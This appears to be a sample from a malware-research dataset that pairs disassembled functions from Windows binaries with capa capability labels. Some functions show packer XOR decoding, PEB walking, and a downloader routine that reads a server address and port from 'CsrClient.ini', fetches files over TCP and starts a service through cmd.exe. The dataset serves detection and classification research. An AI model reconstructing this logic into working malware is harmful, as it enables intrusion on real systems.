joyce8/EMBER2024-capa huggingface dataset:
Function at 0x431006
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
mov eax, section..3ean
nop
nop
mov ebx, 0x40915c
nop
mov ecx, 0x38910048
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x431024
nop
nop
nop
nop
nop
mov eax, section..7LWLf
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x68ea152b
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x10266c8
Capabilities:
Encode data using xor

Disassembly:
adc edi, ebx
sbb eax, 0xf5a06bd3
loopne 0x102672a
inc esi
cmp dword [ebx], ebp
lea ebx, [0x96fa544b]
cmp cl, bl
xchg ecx, eax
add edi, dword [edi - 0x24]
pop edx
inc ebx
sbb dword [ecx + 0x5cd3b7ec], 0x9be440d9
aas
push esi
jne 0x102667b
dec ebp
mov ecx, 0x3ade9e3e
je 0x102675b
adc byte [edx + 0x5c], al
imul edx, dword [edi - 0x7bc6729], 0x315654e6
ja 0x1026772
inc ebx
clc
out 0x54, al
push esi
xor dword [edi + 0x6c], esi
pushal
fist dword [edx]
test byte ds:[ebx], 0xe0
adc ebp, esp
fsub st(6)
inc ecx
and byte [esi - 0x281f1792], 0xe1
inc ecx
dec ebx
mov esp, 0x4dd1bb46
inc ebx
jne 0x10266fe
cmp bh, ah
add eax, eax
pop eax
add dword [edx + 0x44162e1b], 0x2a
push eax
inc eax
rcl bh, 0xb1
sbb al, 0xe4
xor bl, dl
cdq
invalid
pop ss
inc ebp
cmpsd dword [esi], dword es:[edi]
out dx, eax
daa
or dword [esi - 0x6fb2ca61], ecx
pop edx
inc esp
cmp dword [ebp + 0x4b3278d3], esi
jge 0x10267de
rcl byte [edx - 0x65], 0x12
push es
wait
adc al, byte [esi]
ret 0xeb71
insb byte es:[edi], dx
adc dword [edx - 0x1f0b3dcb], ebp
fcomp dword [ecx + 0x64ebd438]
fst dword [edi + esi*2]
in al, 0xda
or esi, dword [eax]
push 0xe42ece5c
mov dl, 0x82
mov byte [0xc247514], al
push 0xfffffffffffffff5
xor al, al
sub byte [edi + edi*8 + 0x1bda8b4a], 0xba
jmp 0x71c2de2e
Function at 0x4010b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library

Disassembly:
sub esp, 0x1a0
lea eax, [esp + 0x10]
push esi
push edi
push eax
mov esi, ecx
push 0x202
xor edi, edi
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x401133
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x401133
mov ecx, dword [esp + 0x1b0]
mov word [esp + 8], 2
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [esp + 0x1ac]
mov word [esp + 0xa], ax
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esi]
mov dword [esp + 0xc], eax
lea eax, [esp + 8]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401140
mov edx, dword [esi]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], 0xffffffff
mov eax, edi
pop edi
pop esi
add esp, 0x1a0
ret 8
push 0x3a98
mov ecx, esi
call fcn.00401190
pop edi
mov eax, 1
pop esi
add esp, 0x1a0
ret 8
Function at 0x401820
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov edi, dword [esp + 0x1c]
xor esi, esi
mov eax, edi
sub eax, esi
cmp eax, 0x400
jbe 0x401842
mov eax, 0x400
push 0
push eax
lea eax, [esi + ebx]
push eax
push ebp
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x40185a
add esi, eax
cmp esi, edi
jb 0x401832
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x401870
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov edi, dword [esp + 0x1c]
xor esi, esi
mov eax, edi
sub eax, esi
cmp eax, 0x400
jbe 0x401892
mov eax, 0x400
push 0
push eax
lea eax, [esi + ebx]
push eax
push ebp
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x4018aa
add esi, eax
cmp esi, edi
jb 0x401882
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4018c0
Capabilities:
Read .ini file

Disassembly:
push 0xffffffffffffffff
push 0x40767b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1d8
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xe5]
mov byte [esp + 0xe4], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xe4]
push eax
call fcn.00401000
mov edi, str.CsrClient.ini
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xe4]
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
mov byte [esp + 0x1c], bl
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x18
lea edi, [esp + 0x1d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [esp + 0xe4]
push eax
lea ecx, [esp + 0x20]
push 0x64
push ecx
push 0x40ba08
push str.address
push str.server
call esi
lea edx, [esp + 0xe4]
push edx
push ebx
push str.port
push str.server
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov ebp, eax
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x81]
mov byte [esp + 0x80], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xe4]
lea ecx, [esp + 0x80]
push eax
push 0x64
push ecx
push 0x40905c
push str.download_dir
push str.server
call esi
lea ecx, [esp + 0x10]
call fcn.004010a0
mov dword [esp + 0x1f0], ebx
lea edx, [esp + 0x1c]
push ebp
push edx
lea ecx, [esp + 0x18]
call fcn.004010b0
test eax, eax
je 0x401a5a
lea eax, [esp + 0x18]
lea ecx, [esp + 0x14]
push eax
push ecx
lea ecx, [esp + 0x18]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
call fcn.004011e0
mov eax, dword [esp + 0x18]
cmp eax, ebx
jle 0x401a51
xor esi, esi
cmp eax, ebx
jbe 0x401a43
xor edi, edi
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x80]
push edx
push esi
lea ecx, [edi + eax]
push ecx
lea ecx, [esp + 0x1c]
call fcn.004012d0
mov eax, dword [esp + 0x18]
inc esi
add edi, 0x108
cmp esi, eax
jb 0x401a1a
lea edx, [esp + 0x14]
lea ecx, [esp + 0x10]
push edx
call fcn.004012b0
lea ecx, [esp + 0x10]
call fcn.00401160
push 0x1d4c0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4019dc
Function at 0x401a80
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x104
push str.restart
push eax
call fcn.00401df0
add esp, 8
test eax, eax
je 0x401b39
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
lea edx, [esp + 0xc]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, str._c_net_start
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, str.CsrTransfer
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x14]
and ecx, 3
push eax
push str.cmd.exe
push str.open
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.USER32.dll_GetActiveWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x104
ret
xor eax, eax
add esp, 0x104
ret

Function at 0x401ca0
Capabilities:
Access the windows event log

Disassembly:
sub esp, 0x104
mov ecx, dword [esp + 0x108]
lea eax, [esp + 0x10c]
push esi
push eax
lea edx, [esp + 0xc]
push ecx
push edx
call fcn.004022aa
add esp, 0xc
lea eax, [esp + 8]
mov dword [esp + 4], eax
push 0x40ba10
push 0
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov esi, eax
test esi, esi
je 0x401d00
lea ecx, [esp + 4]
push 0
push ecx
push 0
push 1
push 0
push 0
push 0
push 4
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
push esi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
pop esi
add esp, 0x104
ret
Function at 0x404855
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x409318
cmp edx, dword [eax]
je 0x404877
add eax, 8
inc ecx
cmp eax, 0x4093a8
jl 0x404868
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x409318]
jne 0x4049a5
mov eax, dword [0x40bb44]
cmp eax, 1
je 0x40497f
test eax, eax
jne 0x4048a8
cmp dword [0x40915c], 1
je 0x40497f
cmp edx, 0xfc
je 0x4049a5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4048df
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00406640
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00402460
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x404922
lea eax, [ebp - 0x1a4]
push eax
call fcn.00402460
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x408540
push edi
call fcn.00406d90
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00406640
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00406650
lea eax, [ebp - 0xa0]
push 0x408520
push eax
call fcn.00406650
push dword [esi + 0x40931c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00406650
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00406cff
add esp, 0x2c
pop edi
jmp 0x4049a5
lea eax, [ebp + 8]
lea esi, [esi + 0x40931c]
push 0
push eax
push dword [esi]
call fcn.00402460
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x463ecd
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.00463f4c
jae 0x463ed9
xor ecx, ecx
call fcn.00463f4c
jae 0x463f03
xor eax, eax
call fcn.00463f4c
jae 0x463f14
mov al, 0x10
call fcn.00463f4c
adc al, al
jae 0x463ef5
jne 0x463f41
stosb byte es:[edi], al
jmp 0x463eda
call fcn.00463f58
dec ecx
loop 0x463f20
mov eax, ebp
call fcn.00463f56
jmp 0x463f42
lodsb al, byte [esi]
shr eax, 1
je 0x463f68
adc ecx, 2
mov ebp, eax
jmp 0x463f42
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.00463f56
cmp eax, 0x7d00
jae 0x463f40
cmp eax, 0x500
jae 0x463f41
cmp eax, 0x7f
ja 0x463f42
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x463eda
pop ebp
ret 8
Function at 0x100048d0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, eax
mov esi, dword [eax + 0x14]
xor ecx, ecx
lodsd eax, dword [esi]
xchg esi, eax
lodsd eax, dword [esi]
mov ebx, dword [eax + 0x10]
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10004900
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ebx, dword [eax + 0x1c]
mov eax, dword [ebx + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004f70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov edx, dword [ebp + 0xc]
mov eax, 0x2aaaaaab
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
sub edx, edi
mov dword [ebp - 8], ecx
imul edx
mov dword [ebp - 4], esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10], eax
je 0x100050c0
push ebx
mov ecx, dword [0x1002ff9c]
mov eax, 0x2aaaaaab
sub ecx, dword [0x1002ff98]
xor bl, bl
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0xc], eax
je 0x10005068
mov esi, dword [edi + 0x10]
xor eax, eax
mov ecx, dword [0x1002ff98]
lea eax, [eax + eax*2]
cmp dword [ecx + eax*8 + 0x14], 0xf
lea eax, [ecx + eax*8]
mov ecx, dword [eax + 0x10]
jbe 0x10004fe8
mov eax, dword [eax]
cmp dword [edi + 0x14], 0xf
mov edx, edi
jbe 0x10004ff2
mov edx, dword [edi]
cmp esi, ecx
jne 0x10005057
sub esi, 4
jb 0x10005011
nop dword [eax + eax]
mov ecx, dword [edx]
cmp ecx, dword [eax]
jne 0x10005016
add edx, 4
add eax, 4
sub esi, 4
jae 0x10005000
cmp esi, 0xfffffffc
je 0x1000504a
mov cl, byte [edx]
cmp cl, byte [eax]
jne 0x10005043
cmp esi, 0xfffffffd
je 0x1000504a
mov cl, byte [edx + 1]
cmp cl, byte [eax + 1]
jne 0x10005043
cmp esi, 0xfffffffe
je 0x1000504a
mov cl, byte [edx + 2]
cmp cl, byte [eax + 2]
jne 0x10005043
cmp esi, 0xffffffff
je 0x1000504a
mov cl, byte [edx + 3]
cmp cl, byte [eax + 3]
je 0x1000504a
sbb eax, eax
or eax, 1
jmp 0x1000504c
xor eax, eax
test eax, eax
je 0x100050ce
mov esi, dword [edi + 0x10]
inc bl
movzx eax, bl
cmp eax, dword [ebp - 0xc]
jb 0x10004fd0
mov esi, dword [ebp - 4]
or bl, 0xff
mov eax, dword [ebp - 8]
add edi, 0x18
mov byte [eax + esi], bl
inc esi
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 4], esi
cmp esi, ebx
jb 0x10004fa3
xor esi, esi
mov eax, 0xcccccccd
mov ecx, esi
mul esi
shr edx, 3
lea eax, [edx + edx*4]
add eax, eax
sub ecx, eax
mov eax, esi
and eax, 3
mov cl, byte [ecx + 0x1002a7d8]
xor cl, byte [eax + str.hashshowmyname]
mov eax, esi
and eax, 1
xor cl, byte [eax + 0x1002a7ec]
mov eax, dword [ebp - 8]
xor byte [eax + esi], cl
inc esi
cmp esi, ebx
jb 0x10005085
pop ebx
lea ecx, [ebp + 8]
call fcn.10007c40
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 4]
jmp 0x1000506b
Function at 0x1000b3f1
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x1000b412
jl 0x1000b409
test edi, edi
jne 0x1000b412
xor eax, eax
xor edx, edx
jmp 0x1000b4d3
cmp dword [ebx + 0x38], 0
je 0x1000b427
push eax
push edi
push dword [ebp + 8]
call fcn.1000b4d9
jmp 0x1000b4d3
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x1000b46e
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x1000b46e
cmp eax, edi
jb 0x1000b448
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.1000cdc0
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x1000b474
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x1000b4c8
mov ecx, ebx
call fcn.1000aad6
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x1000b4b3
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.10011bf0
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x1000b4c8
jmp 0x1000b486
test edx, edx
je 0x1000b4c8
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.10011bf0
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x10010537
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10010576
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10010576
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10010576
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10010576
cmp dword [ecx + 0x74], 0xe
jbe 0x10010576
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10016f47
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10016fe4
push ebx
push esi
call fcn.10016f10
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10016ea4
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10016f91
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10016fe3
push edi
push eax
call fcn.10015bfc
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10016fb1
call fcn.10015cf3
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10016fe2
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10016ea4
add esp, 0x20
test eax, eax
jne 0x10016fd0
push edi
call fcn.10015cf3
jmp 0x10016fd8
push ebx
call fcn.10015cf3
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10017431
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100263d0
push 0x100263c8
push str.FlsAlloc
push 0x1f
call fcn.100172f9
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10017465
push dword [ebp + 8]
mov ecx, esi
call dword [0x10023164]
call esi
jmp 0x1001746b
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x100174af
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100263e0
push 0x100263d8
push str.FlsGetValue
push 0x21
call fcn.100172f9
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100174e6
push dword [ebp + 8]
mov ecx, esi
call dword [0x10023164]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x100174ee
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100263e8
push 0x100263e0
push str.FlsSetValue
push 0x22
call fcn.100172f9
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10017528
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10023164]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10019363
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.10020eb0
mov eax, dword [0x1002e040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.10017faa
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x100193a5
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x10019501
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.10020ee0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x1002fc60]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.1001a360
mov ecx, dword [esi*4 + 0x1002fc60]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x100194fa
cmp eax, dword [ecx + edi + 0x24]
jne 0x100194fa
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100194fa
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.1001a360
add esp, 0x14
test edx, edx
jl 0x100194fa
jg 0x10019470
test eax, eax
jb 0x100194fa
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x100194fa
jl 0x1001948a
cmp dword [ebp - 0x1008], eax
ja 0x100194fa
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x100194a8
test ebx, ebx
je 0x100194e1
cmp ecx, edi
jae 0x100194e1
mov al, byte [ecx]
cmp al, 0xd
jne 0x100194c2
lea eax, [edi - 1]
cmp ecx, eax
jae 0x100194ce
cmp byte [ecx + 1], 0xa
jne 0x100194ce
inc ecx
jmp 0x100194ce
movzx eax, al
movsx eax, byte [eax + 0x1002e818]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x100194a8
cmp edx, ebx
jne 0x100194a8
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x100194ff
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10008cb2
leave
ret
Function at 0x100197f8
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x1002fc60]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x10019838
cmp byte [ebx], 0xa
jne 0x10019838
or byte [edi + eax + 0x28], 4
jmp 0x1001983d
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x1001993c
mov dl, byte [eax]
cmp dl, 0x1a
je 0x1001991f
inc eax
cmp dl, 0xd
je 0x10019869
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x1001988f
cmp eax, ecx
jae 0x1001989d
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x10019851
jmp 0x1001993c
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1001991a
cmp dword [ebp - 0x10], 0
je 0x1001991a
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x1002fc60]
test byte [eax + edi + 0x28], 0x48
je 0x100198f4
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x100198df
mov byte [esi], dl
jmp 0x100198f0
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x1002fc60]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x1001993c
cmp byte [ebp - 1], 0xa
jne 0x10019903
cmp esi, ebx
jne 0x10019903
mov byte [esi], 0xa
jmp 0x1001993b
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.1001a37e
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x1001993c
mov byte [esi], 0xd
jmp 0x1001993b
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x1002fc60]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x10019939
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x1001993c
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret